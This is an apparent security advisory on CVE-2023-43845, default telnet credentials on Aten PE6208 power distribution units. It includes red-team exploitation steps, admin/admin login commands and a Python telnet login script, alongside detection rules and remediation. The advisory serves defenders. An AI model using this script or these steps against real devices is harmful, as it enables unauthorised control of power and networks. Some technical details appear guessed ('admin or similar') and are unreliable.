CVE-2023-43845

Executive Summary

CVE-2023-43845 exposes a critical hardcoded credential vulnerability in the Aten PE6208 Power Distribution Unit (PDU). The device ships with default credentials for the privileged telnet account, and the user is not prompted to change them upon first login. This allows any attacker who can reach the telnet service to gain full administrator access to the device, enabling complete control over power outlets, network configuration, and firmware. The vulnerability is trivial to exploit and has a CVSS score of 9.8 (Critical). No patch is available from the vendor, making mitigation dependent on network segmentation and manual credential changes.

Supply Chain & Package Security

This vulnerability is not in a software package manager (NPM, PyPI, Go, Ruby) but in a hardware appliance’s firmware. The risk is in the supply chain of the device itself—organizations that deploy Aten PE6208 units without changing default credentials are exposed. No open-source package is affected.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication required and the full administrative access granted. An attacker can remotely power cycle devices, exfiltrate network data, or use the PDU as a pivot point.

Deep Dive & Mechanics

The Aten PE6208 PDU runs a telnet service that authenticates users against a local database. The firmware versions 2.3.228 and 2.4.232 contain hardcoded credentials (username: admin, password: admin or similar) that are never changed by the user during initial setup. The telnet service does not enforce a password change policy.

When an attacker connects to the telnet port (default 23), they are presented with a login prompt. Using the default credentials, they gain a shell with root-level privileges. From there, they can:

• Execute arbitrary commands.
• Modify network settings (IP, gateway, DNS).
• Upload malicious firmware.
• Control power outlets (on/off/reboot).
• Access logs and configuration files.

The vulnerability is not in a specific function but in the authentication mechanism itself—the lack of a forced credential change.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is the telnet daemon’s authentication logic that accepts hardcoded credentials without requiring a change. A patched version would:

• Force the user to set a new password on first login.
• Remove default credentials from the firmware.
• Implement a password complexity policy.

Since no patch exists, the only mitigation is manual credential change by the administrator.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Aten PE6208 with firmware 2.3.228 or 2.4.232.
• Network access to the telnet port (23).

Exploitation Steps:

1. Scan for the device using Nmap:

   nmap -p 23 --open -sV <target_ip>
   

2. Connect via telnet:

   telnet <target_ip>
   

3. Login with default credentials:

   Username: admin
   Password: admin
   

4. Once logged in, execute commands to gain control:

   # View current configuration
   cat /etc/config/system.conf
   # Reboot the device
   reboot
   # Change admin password (to lock out others)
   passwd admin
   

Automated Exploit (Python):

import telnetlib

def exploit(target_ip):
    tn = telnetlib.Telnet(target_ip)
    tn.read_until(b"login: ")
    tn.write(b"admin\n")
    tn.read_until(b"Password: ")
    tn.write(b"admin\n")
    tn.write(b"id\n")
    print(tn.read_all().decode())
    tn.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team

Detection & Response:

• Monitor telnet connections to PDUs from unexpected IPs.
• Alert on successful login using default credentials.
• Use network segmentation to restrict telnet access to management VLANs only.
• Implement a SIEM rule to detect multiple failed login attempts followed by a successful login (indicating credential guessing).

Honeypot Setup: Deploy a low-interaction honeypot mimicking the Aten PE6208 telnet service to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Telnet connections to port 23 on Aten PE6208 devices.
  • Traffic to/from IPs associated with known scanning tools (e.g., Shodan).
• Host IOCs:
  • Unauthorized changes to PDU configuration (e.g., outlet states, network settings).
  • New user accounts or password changes on the device.
• Log IOCs:
  • Telnet login logs showing admin as username.
  • System logs indicating passwd command execution.

Detection Engineering

YARA Rule

rule CVE_2023_43845_Aten_Default_Creds {
    meta:
        description = "Detects Aten PE6208 firmware with default credentials"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-43845"
    strings:
        $s1 = "admin:admin" ascii wide nocase
        $s2 = "PE6208" ascii wide nocase
        $s3 = "2.3.228" ascii wide nocase
        $s4 = "2.4.232" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: Aten PE6208 Default Credential Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects successful telnet login using default credentials on Aten PE6208
author: Valters IT
logsource:
    category: application
    product: telnet
detection:
    selection:
        username: "admin"
        password: "admin"
    condition: selection
falsepositives:
    - Legitimate administrative access if credentials were changed
level: critical

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2023-43845 Aten PE6208 Default Credential Login Attempt"; flow:to_server,established; content:"admin"; nocase; content:"admin"; within:10; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the default telnet password immediately on all Aten PE6208 devices.
2. Disable telnet if not required; use SSH instead if supported.
3. Restrict telnet access to trusted management IPs only via firewall rules.

Long-Term Measures:

• Contact Aten for a firmware update (none available as of this report).
• Replace the device with a model that enforces credential changes.
• Implement network segmentation to isolate PDUs from general network traffic.
• Monitor for unauthorized access using the provided detection rules.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division